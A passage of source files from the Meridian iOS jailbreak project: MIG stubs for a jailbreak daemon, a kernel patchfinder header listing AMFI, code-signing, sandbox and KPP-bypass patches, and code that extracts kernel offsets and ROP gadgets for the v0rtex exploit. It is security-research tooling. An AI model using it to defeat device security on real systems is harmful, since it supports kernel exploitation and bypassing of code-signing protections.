#ifndef LimitCheck #define LimitCheck 0 #endif /* LimitCheck */ #ifndef min #define min(a,b) ( ((a) < (b))? (a): (b) ) #endif /* min */ #if !defined(_WALIGN_) #define _WALIGN_(x) (((x) + 3) & ~3) #endif /* !defined(_WALIGN_) */ #if !defined(_WALIGNSZ_) #define _WALIGNSZ_(x) _WALIGN_(sizeof(x)) #endif /* !defined(_WALIGNSZ_) */ #ifndef UseStaticTemplates #define UseStaticTemplates 0 #endif /* UseStaticTemplates */ #ifndef __MachMsgErrorWithTimeout #define __MachMsgErrorWithTimeout(_R_) { \ switch (_R_) { \ case MACH_SEND_INVALID_DATA: \ case MACH_SEND_INVALID_DEST: \ case MACH_SEND_INVALID_HEADER: \ mig_put_reply_port(InP->Head.msgh_reply_port); \ break; \ case MACH_SEND_TIMED_OUT: \ case MACH_RCV_TIMED_OUT: \ default: \ mig_dealloc_reply_port(InP->Head.msgh_reply_port); \ } \ } #endif /* __MachMsgErrorWithTimeout */ #ifndef __MachMsgErrorWithoutTimeout #define __MachMsgErrorWithoutTimeout(_R_) { \ switch (_R_) { \ case MACH_SEND_INVALID_DATA: \ case MACH_SEND_INVALID_DEST: \ case MACH_SEND_INVALID_HEADER: \ mig_put_reply_port(InP->Head.msgh_reply_port); \ break; \ default: \ mig_dealloc_reply_port(InP->Head.msgh_reply_port); \ } \ } #endif /* __MachMsgErrorWithoutTimeout */ #ifndef __DeclareSendRpc #define __DeclareSendRpc(_NUM_, _NAME_) #endif /* __DeclareSendRpc */ #ifndef __BeforeSendRpc #define __BeforeSendRpc(_NUM_, _NAME_) #endif /* __BeforeSendRpc */ #ifndef __AfterSendRpc #define __AfterSendRpc(_NUM_, _NAME_) #endif /* __AfterSendRpc */ #ifndef __DeclareSendSimple #define __DeclareSendSimple(_NUM_, _NAME_) #endif /* __DeclareSendSimple */ #ifndef __BeforeSendSimple #define __BeforeSendSimple(_NUM_, _NAME_) #endif /* __BeforeSendSimple */ #ifndef __AfterSendSimple #define __AfterSendSimple(_NUM_, _NAME_) #endif /* __AfterSendSimple */ #define msgh_request_port msgh_remote_port #define msgh_reply_port msgh_local_port #if ( __MigTypeCheck ) #if __MIG_check__Reply__jailbreak_daemon_subsystem__ #if !defined(__MIG_check__Reply__call_t__defined) #define __MIG_check__Reply__call_t__defined mig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *Out0P) { typedef __Reply__call_t __Reply __attribute__((unused)); if (Out0P->Head.msgh_id != 600) { if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE) { return MIG_SERVER_DIED; } else { return MIG_REPLY_MISMATCH; } } #if __MigTypeCheck if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) || (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply))) { return MIG_TYPE_ERROR ; } #endif /* __MigTypeCheck */ { return Out0P->RetCode; } } #endif /* !defined(__MIG_check__Reply__call_t__defined) */ #endif /* __MIG_check__Reply__jailbreak_daemon_subsystem__ */ #endif /* ( __MigTypeCheck ) */ /* Routine call */ mig_external kern_return_t jbd_call ( mach_port_t server_port, uint8_t command, uint32_t pid ) { #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; } Request __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_trailer_t trailer; } Reply __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } __Reply __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif /* * typedef struct { * mach_msg_header_t Head; * NDR_record_t NDR; * kern_return_t RetCode; * } mig_reply_error_t; */ union { Request In; Reply Out; } Mess; Request *InP = &Mess.In; Reply *Out0P = &Mess.Out; mach_msg_return_t msg_result; #ifdef __MIG_check__Reply__call_t__defined kern_return_t check_result; #endif /* __MIG_check__Reply__call_t__defined */ __DeclareSendRpc(500, "call") InP->NDR = NDR_record; InP->command = command; InP->pid = pid; InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); /* msgh_size passed as argument */ InP->Head.msgh_request_port = server_port; InP->Head.msgh_reply_port = mig_get_reply_port(); InP->Head.msgh_id = 500; InP->Head.msgh_reserved = 0; /* BEGIN VOUCHER CODE */ #ifdef USING_VOUCHERS if (voucher_mach_msg_set != NULL) { voucher_mach_msg_set(&InP->Head); } #endif // USING_VOUCHERS /* END VOUCHER CODE */ __BeforeSendRpc(500, "call") msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); __AfterSendRpc(500, "call") if (msg_result != MACH_MSG_SUCCESS) { __MachMsgErrorWithoutTimeout(msg_result); { return msg_result; } } #if defined(__MIG_check__Reply__call_t__defined) check_result = __MIG_check__Reply__call_t((__Reply__call_t *)Out0P); if (check_result != MACH_MSG_SUCCESS) { return check_result; } #endif /* defined(__MIG_check__Reply__call_t__defined) */ return KERN_SUCCESS; } ================================================ FILE: Meridian/Meridian/mach/jailbreak_daemonUser.h ================================================ #ifndef _jailbreak_daemon_user_ #define _jailbreak_daemon_user_ /* Module jailbreak_daemon */ #include #include #include #include #include #include #include #include #include /* BEGIN VOUCHER CODE */ #ifndef KERNEL #if defined(__has_include) #if __has_include() #ifndef USING_VOUCHERS #define USING_VOUCHERS #endif #ifndef __VOUCHER_FORWARD_TYPE_DECLS__ #define __VOUCHER_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif // __VOUCHER_FORWARD_TYPE_DECLS__ #endif // __has_include() #endif // __has_include #endif // !KERNEL /* END VOUCHER CODE */ /* BEGIN MIG_STRNCPY_ZEROFILL CODE */ #if defined(__has_include) #if __has_include() #ifndef USING_MIG_STRNCPY_ZEROFILL #define USING_MIG_STRNCPY_ZEROFILL #endif #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */ #endif /* __has_include() */ #endif /* __has_include */ /* END MIG_STRNCPY_ZEROFILL CODE */ #ifdef AUTOTEST #ifndef FUNCTION_PTR_T #define FUNCTION_PTR_T typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); typedef struct { char *name; function_ptr_t function; } function_table_entry; typedef function_table_entry *function_table_t; #endif /* FUNCTION_PTR_T */ #endif /* AUTOTEST */ #ifndef jailbreak_daemon_MSG_COUNT #define jailbreak_daemon_MSG_COUNT 1 #endif /* jailbreak_daemon_MSG_COUNT */ #include #include #include #include #ifdef __BeforeMigUserHeader __BeforeMigUserHeader #endif /* __BeforeMigUserHeader */ #include __BEGIN_DECLS /* Routine call */ #ifdef mig_external mig_external #else extern #endif /* mig_external */ kern_return_t jbd_call ( mach_port_t server_port, uint8_t command, uint32_t pid ); __END_DECLS /********************** Caution **************************/ /* The following data types should be used to calculate */ /* maximum message sizes only. The actual message may be */ /* smaller, and the position of the arguments within the */ /* message layout may vary from what is presented here. */ /* For example, if any of the arguments are variable- */ /* sized, and less than the maximum is sent, the data */ /* will be packed tight in the actual message to reduce */ /* the presence of holes. */ /********************** Caution **************************/ /* typedefs for all requests */ #ifndef __Request__jailbreak_daemon_subsystem__defined #define __Request__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; } __Request__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Request__jailbreak_daemon_subsystem__defined */ /* union of all requests */ #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined union __RequestUnion__jbd_jailbreak_daemon_subsystem { __Request__call_t Request_jbd_call; }; #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ /* typedefs for all replies */ #ifndef __Reply__jailbreak_daemon_subsystem__defined #define __Reply__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } __Reply__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Reply__jailbreak_daemon_subsystem__defined */ /* union of all replies */ #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined union __ReplyUnion__jbd_jailbreak_daemon_subsystem { __Reply__call_t Reply_jbd_call; }; #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ #ifndef subsystem_to_name_map_jailbreak_daemon #define subsystem_to_name_map_jailbreak_daemon \ { "call", 500 } #endif #ifdef __AfterMigUserHeader __AfterMigUserHeader #endif /* __AfterMigUserHeader */ #endif /* _jailbreak_daemon_user_ */ ================================================ FILE: Meridian/Meridian/patchfinders/liboffsetfinder64.hpp ================================================ // // offsetfinder64.hpp // offsetfinder64 // // Created by tihmstar on 10.01.18. // Copyright © 2018 tihmstar. All rights reserved. // #ifndef offsetfinder64_hpp #define offsetfinder64_hpp #include #include #include #include #include #include #include typedef uint64_t offset_t; namespace tihmstar { class exception : public std::exception{ std::string _err; int _code; public: exception(int code, std::string err) : _err(err), _code(code) {}; exception(std::string err) : _err(err), _code(0) {}; exception(int code) : _code(code) {}; const char *what(){return _err.c_str();} int code(){return _code;} }; namespace patchfinder64{ typedef uint8_t* loc_t; class patch{ bool _slideme; void(*_slidefunc)(class patch *patch, uint64_t slide); public: const loc_t _location; const void *_patch; const size_t _patchSize; patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){ _patch = malloc(_patchSize); memcpy((void*)_patch, patch, _patchSize); _slideme = (_slidefunc) ? true : false; } patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){ _patch = malloc(_patchSize); memcpy((void*)_patch, cpy._patch, _patchSize); _slidefunc = cpy._slidefunc; _slideme = cpy._slideme; } void slide(uint64_t slide){ if (!_slideme) return; printf("sliding with %p\n",(void*)slide); _slidefunc(this,slide); _slideme = false; //only slide once } ~patch(){ free((void*)_patch); } }; } class offsetfinder64 { public: struct text_t{ patchfinder64::loc_t map; size_t size; patchfinder64::loc_t base; bool isExec; }; private: bool _freeKernel; uint8_t *_kdata; size_t _ksize; offset_t _kslide; patchfinder64::loc_t _kernel_entry; std::vector _segments; struct symtab_command *__symtab; void loadSegments(uint64_t slide); __attribute__((always_inline)) struct symtab_command *getSymtab(); public: offsetfinder64(const char *filename); offsetfinder64(void* buf, size_t size, uint64_t base); const void *kdata(); patchfinder64::loc_t find_entry(); const std::vector &segments(){return _segments;}; patchfinder64::loc_t memmem(const void *little, size_t little_len); patchfinder64::loc_t find_sym(const char *sym); patchfinder64::loc_t find_syscall0(); uint64_t find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0); /*------------------------ v0rtex -------------------------- */ patchfinder64::loc_t find_zone_map(); patchfinder64::loc_t find_kernel_map(); patchfinder64::loc_t find_kernel_task(); patchfinder64::loc_t find_realhost(); patchfinder64::loc_t find_bzero(); patchfinder64::loc_t find_bcopy(); patchfinder64::loc_t find_copyout(); patchfinder64::loc_t find_copyin(); patchfinder64::loc_t find_ipc_port_alloc_special(); patchfinder64::loc_t find_ipc_kobject_set(); patchfinder64::loc_t find_ipc_port_make_send(); patchfinder64::loc_t find_chgproccnt(); patchfinder64::loc_t find_kauth_cred_ref(); patchfinder64::loc_t find_osserializer_serialize(); uint32_t find_vtab_get_external_trap_for_index(); uint32_t find_vtab_get_retain_count(); uint32_t find_iouserclient_ipc(); uint32_t find_ipc_space_is_task(); uint32_t find_proc_ucred(); uint32_t find_task_bsd_info(); uint32_t find_vm_map_hdr(); uint32_t find_task_itk_self(); uint32_t find_task_itk_registered(); uint32_t find_sizeof_task(); patchfinder64::loc_t find_rop_add_x0_x0_0x10(); patchfinder64::loc_t find_rop_ldr_x0_x0_0x10(); /*------------------------ kernelpatches -------------------------- */ patchfinder64::patch find_i_can_has_debugger_patch_off(); patchfinder64::patch find_lwvm_patch_offsets(); patchfinder64::patch find_remount_patch_offset(); std::vector find_nosuid_off(); patchfinder64::patch find_proc_enforce(); patchfinder64::patch find_amfi_patch_offsets(); patchfinder64::patch find_cs_enforcement_disable_amfi(); patchfinder64::patch find_amfi_substrate_patch(); // patchfinder64::patch find_sandbox_patch(); patchfinder64::loc_t find_sbops(); patchfinder64::patch find_nonceEnabler_patch(); /*------------------------ KPP bypass -------------------------- */ patchfinder64::loc_t find_gPhysBase(); patchfinder64::loc_t find_kernel_pmap(); patchfinder64::loc_t find_cpacr_write(); patchfinder64::loc_t find_idlesleep_str_loc(); patchfinder64::loc_t find_deepsleep_str_loc(); /*------------------------ Util -------------------------- */ patchfinder64::loc_t find_rootvnode(); ~offsetfinder64(); }; using segment_t = std::vector; namespace patchfinder64{ loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos); } } #endif /* offsetfinder64_hpp */ ================================================ FILE: Meridian/Meridian/patchfinders/offsetdump.h ================================================ // // offsetdump.h // Meridian // // Created by Ben Sparkes on 30/03/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef offsetdump_h #define offsetdump_h void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide); #endif /* offsetdump_h */ ================================================ FILE: Meridian/Meridian/patchfinders/offsetdump.m ================================================ // // offsetdump.m // Meridian // // Created by Ben Sparkes on 30/03/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import #include "patchfinder64.h" #include "v0rtex.h" void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide) { NSData *blob = [NSData dataWithContentsOfFile:@"/meridian/offsets.plist"]; NSMutableDictionary *off_file = [NSPropertyListSerialization propertyListWithData:blob options:NSPropertyListMutableContainers format:nil error:nil]; // There is probably a better way than doing this all manually, but ¯\_(ツ)_/¯ // We don't really need to log *all* of these, but better safe than PR'ing, right? // See the amfid patch for an example of using this (amfid/main.m) off_file[@"Base"] = [NSString stringWithFormat:@"0x%016llx", offsets->base]; off_file[@"KernelBase"] = [NSString stringWithFormat:@"0x%016llx", kernel_base]; off_file[@"KernelSlide"] = [NSString stringWithFormat:@"0x%016llx", kernel_slide]; off_file[@"SizeOfTask"] = [NSString stringWithFormat:@"0x%016llx", offsets->sizeof_task]; off_file[@"TaskItkSelf"] = [NSString stringWithFormat:@"0x%016llx", offsets->task_itk_self]; off_file[@"TaskItkRegistered"] = [NSString stringWithFormat:@"0x%016llx", offsets->task_itk_registered]; off_file[@"TaskBsdInfo"] = [NSString stringWithFormat:@"0x%016llx", offsets->task_bsd_info]; off_file[@"ProcUcred"] = [NSString stringWithFormat:@"0x%016llx", offsets->proc_ucred]; off_file[@"VmMapHdr"] = [NSString stringWithFormat:@"0x%016llx", offsets->vm_map_hdr]; off_file[@"IpcSpaceIsTask"] = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_space_is_task]; off_file[@"RealhostSpecial"] = [NSString stringWithFormat:@"0x%016llx", offsets->realhost_special]; off_file[@"IOUserClientIPC"] = [NSString stringWithFormat:@"0x%016llx", offsets->iouserclient_ipc]; off_file[@"VtabGetRetainCount"] = [NSString stringWithFormat:@"0x%016llx", offsets->vtab_get_retain_count]; off_file[@"VtabGetExternalTrapForIndex"] = [NSString stringWithFormat:@"0x%016llx", offsets->vtab_get_external_trap_for_index]; off_file[@"ZoneMap"] = [NSString stringWithFormat:@"0x%016llx", offsets->zone_map]; off_file[@"KernelMap"] = [NSString stringWithFormat:@"0x%016llx", offsets->kernel_map]; off_file[@"KernelTask"] = [NSString stringWithFormat:@"0x%016llx", offsets->kernel_task]; off_file[@"RealHost"] = [NSString stringWithFormat:@"0x%016llx", offsets->realhost]; off_file[@"CopyIn"] = [NSString stringWithFormat:@"0x%016llx", offsets->copyin]; off_file[@"CopyOut"] = [NSString stringWithFormat:@"0x%016llx", offsets->copyout]; off_file[@"Chgproccnt"] = [NSString stringWithFormat:@"0x%016llx", offsets->chgproccnt]; off_file[@"KauthCredRef"] = [NSString stringWithFormat:@"0x%016llx", offsets->kauth_cred_ref]; off_file[@"IpcPortAllocSpecial"] = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_port_alloc_special]; off_file[@"IpcKobjectSet"] = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_kobject_set]; off_file[@"IpcPortMakeSend"] = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_port_make_send]; off_file[@"OSSerializerSerialize"] = [NSString stringWithFormat:@"0x%016llx", offsets->osserializer_serialize]; off_file[@"RopLDR"] = [NSString stringWithFormat:@"0x%016llx", offsets->rop_ldr_x0_x0_0x10]; off_file[@"RootVnode"] = [NSString stringWithFormat:@"0x%016llx", offsets->root_vnode]; off_file[@"VfsContextCurrent"] = [NSString stringWithFormat:@"0x%016llx", offsets->vfs_context_current]; off_file[@"VnodeGetFromFD"] = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_getfromfd]; off_file[@"VnodeGetAttr"] = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_getattr]; off_file[@"VnodePut"] = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_put]; off_file[@"CSBlobEntDictSet"] = [NSString stringWithFormat:@"0x%016llx", offsets->csblob_ent_dict_set]; off_file[@"SHA1Init"] = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_init]; off_file[@"SHA1Update"] = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_update]; off_file[@"SHA1Final"] = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_final]; off_file[@"AddGadgetRet"] = [NSString stringWithFormat:@"0x%016llx", find_add_x0_x0_0x40_ret()]; off_file[@"OSBooleanTrue"] = [NSString stringWithFormat:@"0x%016llx", find_OSBoolean_True()]; off_file[@"OSBooleanFalse"] = [NSString stringWithFormat:@"0x%016llx", find_OSBoolean_False()]; off_file[@"OSUnserializeXML"] = [NSString stringWithFormat:@"0x%016llx", find_OSUnserializeXML()]; off_file[@"Smalloc"] = [NSString stringWithFormat:@"0x%016llx", find_smalloc()]; off_file[@"CSFindMD"] = [NSString stringWithFormat:@"0x%016llx", find_cs_find_md(offsets->sha1_init + kernel_slide, offsets->sha1_update + kernel_slide, offsets->sha1_final + kernel_slide)]; [off_file writeToFile:@"/meridian/offsets.plist" atomically:YES]; } ================================================ FILE: Meridian/Meridian/patchfinders/offsetfinder.h ================================================ // // offsetfinder.h // Meridian // // Created by Ben Sparkes on 08/03/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef offsetfinder_h #define offsetfinder_h #ifdef __cplusplus extern "C" #endif offsets_t *get_offsets(void); #endif /* offsetfinder_h */ ================================================ FILE: Meridian/Meridian/patchfinders/offsetfinder.mm ================================================ // // offsetfinder.mm // Meridian // // Created by Ben Sparkes on 08/03/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #include "v0rtex.h" #include "liboffsetfinder64.hpp" #include "ViewController.h" #import static bool DidInit = false; static offsets_t off; extern "C" offsets_t *get_offsets() { if (DidInit) { return &off; } try { NSLog(@"[OFFSET] initializing offsetfinder..."); tihmstar::offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache"); NSLog(@"[OFFSET] initialized offsetfinder"); off.base = 0xfffffff007004000; NSLog(@"[OFFSET] begginning offset finding..."); off.sizeof_task = (kptr_t)fi.find_sizeof_task(); off.task_itk_self = (kptr_t)fi.find_task_itk_self(); off.task_itk_registered = (kptr_t)fi.find_task_itk_registered(); off.task_bsd_info = (kptr_t)fi.find_task_bsd_info(); off.proc_ucred = (kptr_t)fi.find_proc_ucred(); off.vm_map_hdr = (kptr_t)fi.find_vm_map_hdr(); off.ipc_space_is_task = (kptr_t)fi.find_ipc_space_is_task(); off.realhost_special = 0x10; off.iouserclient_ipc = (kptr_t)fi.find_iouserclient_ipc(); off.vtab_get_retain_count = (kptr_t)fi.find_vtab_get_retain_count(); off.vtab_get_external_trap_for_index = (kptr_t)fi.find_vtab_get_external_trap_for_index(); NSLog(@"[OFFSET] grabbed struct offsets"); off.zone_map = (kptr_t)fi.find_zone_map(); off.kernel_map = (kptr_t)fi.find_kernel_map(); off.kernel_task = (kptr_t)fi.find_kernel_task(); off.realhost = (kptr_t)fi.find_realhost(); NSLog(@"[OFFSET] grabbed map offsets"); off.copyin = (kptr_t)fi.find_copyin(); off.copyout = (kptr_t)fi.find_copyout(); off.chgproccnt = (kptr_t)fi.find_chgproccnt(); off.kauth_cred_ref = (kptr_t)fi.find_kauth_cred_ref(); off.ipc_port_alloc_special = (kptr_t)fi.find_ipc_port_alloc_special(); off.ipc_kobject_set = (kptr_t)fi.find_ipc_kobject_set(); off.ipc_port_make_send = (kptr_t)fi.find_ipc_port_make_send(); off.osserializer_serialize = (kptr_t)fi.find_osserializer_serialize(); off.rop_ldr_x0_x0_0x10 = (kptr_t)fi.find_rop_ldr_x0_x0_0x10(); NSLog(@"[OFFSET] grabbed code offsets"); off.root_vnode = (kptr_t)fi.find_rootvnode(); off.vfs_context_current = (kptr_t)fi.find_sym("_vfs_context_current"); off.vnode_getfromfd = (kptr_t)fi.find_sym("_vnode_getfromfd"); off.vnode_getattr = (kptr_t)fi.find_sym("_vnode_getattr"); off.vnode_put = (kptr_t)fi.find_sym("_vnode_put"); off.csblob_ent_dict_set = (kptr_t)fi.find_sym("_csblob_entitlements_dictionary_set"); off.sha1_init = (kptr_t)fi.find_sym("_SHA1Init"); off.sha1_update = (kptr_t)fi.find_sym("_SHA1Update"); off.sha1_final = (kptr_t)fi.find_sym("_SHA1Final"); NSLog(@"[OFFSET] grabbed amfi offsets"); NSLog(@"[OFFSET] sizeof_task = 0x%llx", off.sizeof_task); NSLog(@"[OFFSET] task_itk_self = 0x%llx", off.task_itk_self); NSLog(@"[OFFSET] task_itk_registered = 0x%llx", off.task_itk_registered); NSLog(@"[OFFSET] kernel_task = 0x%llx", off.kernel_task); NSLog(@"[OFFSET] rootvnode = 0x%llx", off.root_vnode); NSLog(@"[OFFSET] sha1_init = 0x%llx", off.sha1_init); } catch (tihmstar::exception &e) { NSLog(@"offsetfinder failure! %d (%s)", e.code(), e.what()); return NULL; } catch (std::exception &e) { NSLog(@"fatal offsetfinder failure! %s", e.what()); return NULL; } DidInit = true; return &off; } ================================================ FILE: Meridian/Meridian/patchfinders/patchfinder64.c ================================================ // // patchfinder64.c // extra_recipe // // Created by xerub on 06/06/2017. // Copyright © 2017 xerub. All rights reserved. // #include #include #include #include "kernel.h" typedef unsigned long long addr_t; #define IS64(image) (*(uint8_t *)(image) & 1) #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) /* generic stuff *************************************************************/ #define UCHAR_MAX 255 static unsigned char * boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, const unsigned char* needle, size_t nlen) { size_t last, scan = 0; size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: * bad character shift */ /* Sanity checks on the parameters */ if (nlen <= 0 || !haystack || !needle) return NULL; /* ---- Preprocess ---- */ /* Initialize the table to default value */ /* When a character is encountered that does not occur * in the needle, we can safely skip ahead for the whole * length of the needle. */ for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) bad_char_skip[scan] = nlen; /* C arrays have the first byte at [0], therefore: * [nlen - 1] is the last byte of the array. */ last = nlen - 1; /* Then populate it with the analysis of the needle */ for (scan = 0; scan < last; scan = scan + 1) bad_char_skip[needle[scan]] = last - scan; /* ---- Do the matching ---- */ /* Search the haystack, while the needle can still be within it. */ while (hlen >= nlen) { /* scan from the end of the needle */ for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) if (scan == 0) /* If the first byte matches, we've found it. */ return (void *)haystack; /* otherwise, we need to skip some bytes and start again. Note that here we are getting the skip value based on the last byte of needle, no matter where we didn't match. So if needle is: "abcd" then we are skipping based on 'd' and that value will be 4, and for "abcdd" we again skip on 'd' but the value will be only 1. The alternative of pretending that the mismatched character was the last character is slower in the normal case (E.g. finding "abcd" in "...azcd..." gives 4 by using 'd' but only 4-2==2 using 'z'. */ hlen -= bad_char_skip[haystack[last]]; haystack += bad_char_skip[haystack[last]]; } return NULL; } /* disassembler **************************************************************/ static int HighestSetBit(int N, uint32_t imm) { int i; for (i = N - 1; i >= 0; i--) { if (imm & (1 << i)) { return i; } } return -1; } static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width { (void)N; return ((uint64_t)1 << M) - 1; } static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) { uint64_t val = ZeroExtendOnes(M, N); if (R == 0) { return val; } return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); } static uint64_t Replicate(uint64_t val, unsigned bits) { uint64_t ret = val; unsigned shift; for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 ret |= (val << shift); } return ret; } static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) { unsigned S, R, esize; int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); if (len < 1) { return -1; } uint64_t levels = ZeroExtendOnes(len, 6); if (immediate && (imms & levels) == levels) { return -1; } S = imms & levels; R = immr & levels; esize = 1 << len; *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); return 0; } static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) { unsigned o = (opcode >> 29) & 3; unsigned k = (opcode >> 23) & 0x3F; unsigned rn, rd; uint64_t i; if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) unsigned s = (opcode >> 31) & 1; unsigned N = (opcode >> 22) & 1; if (s == 0 && N != 0) { return -1; } rn = (opcode >> 5) & 0x1F; if (rn == 31) { unsigned imms = (opcode >> 10) & 0x3F; unsigned immr = (opcode >> 16) & 0x3F; return DecodeBitMasks(N, imms, immr, 1, newval); } } else if (k == 0x25) { // MOVN/MOVZ/MOVK unsigned s = (opcode >> 31) & 1; unsigned h = (opcode >> 21) & 3; if (s == 0 && h > 1) { return -1; } i = (opcode >> 5) & 0xFFFF; h *= 16; i <<= h; if (o == 0) { // MOVN *newval = ~i; return 0; } else if (o == 2) { // MOVZ *newval = i; return 0; } else if (o == 3 && !first) { // MOVK *newval = (total & ~((uint64_t)0xFFFF << h)) | i; return 0; } } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) unsigned h = (opcode >> 22) & 3; if (h > 1) { return -1; } rd = opcode & 0x1F; rn = (opcode >> 5) & 0x1F; if (rd != rn) { return -1; } i = (opcode >> 10) & 0xFFF; h *= 12; i <<= h; if (o & 2) { // SUB *newval = total - i; return 0; } else { // ADD *newval = total + i; return 0; } } return -1; } /* patchfinder ***************************************************************/ static addr_t step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) { addr_t end = start + length; while (start < end) { uint32_t x = *(uint32_t *)(buf + start); if ((x & mask) == what) { return start; } start += 4; } return 0; } static addr_t step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) { addr_t end = start - length; while (start >= end) { uint32_t x = *(uint32_t *)(buf + start); if ((x & mask) == what) { return start; } start -= 4; } return 0; } static addr_t bof64(const uint8_t *buf, addr_t start, addr_t where) { for (; where >= start; where -= 4) { uint32_t op = *(uint32_t *)(buf + where); if ((op & 0xFFC003FF) == 0x910003FD) { unsigned delta = (op >> 10) & 0xFFF; //printf("%x: ADD X29, SP, #0x%x\n", where, delta); if ((delta & 0xF) == 0) { addr_t prev = where - ((delta >> 4) + 1) * 4; uint32_t au = *(uint32_t *)(buf + prev); if ((au & 0xFFC003E0) == 0xA98003E0) { //printf("%x: STP x, y, [SP,#-imm]!\n", prev); return prev; } } } } return 0; } static addr_t xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; if ((op & 0x9F000000) == 0x90000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); value[reg] = ((long long)adr << 1) + (i & ~0xFFF); /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { unsigned rd = op & 0x1F; unsigned rm = (op >> 16) & 0x1F; //printf("%llx: MOV X%d, X%d\n", i, rd, rm); value[rd] = value[rm];*/ } else if ((op & 0xFF000000) == 0x91000000) { unsigned rn = (op >> 5) & 0x1F; unsigned shift = (op >> 22) & 3; unsigned imm = (op >> 10) & 0xFFF; if (shift == 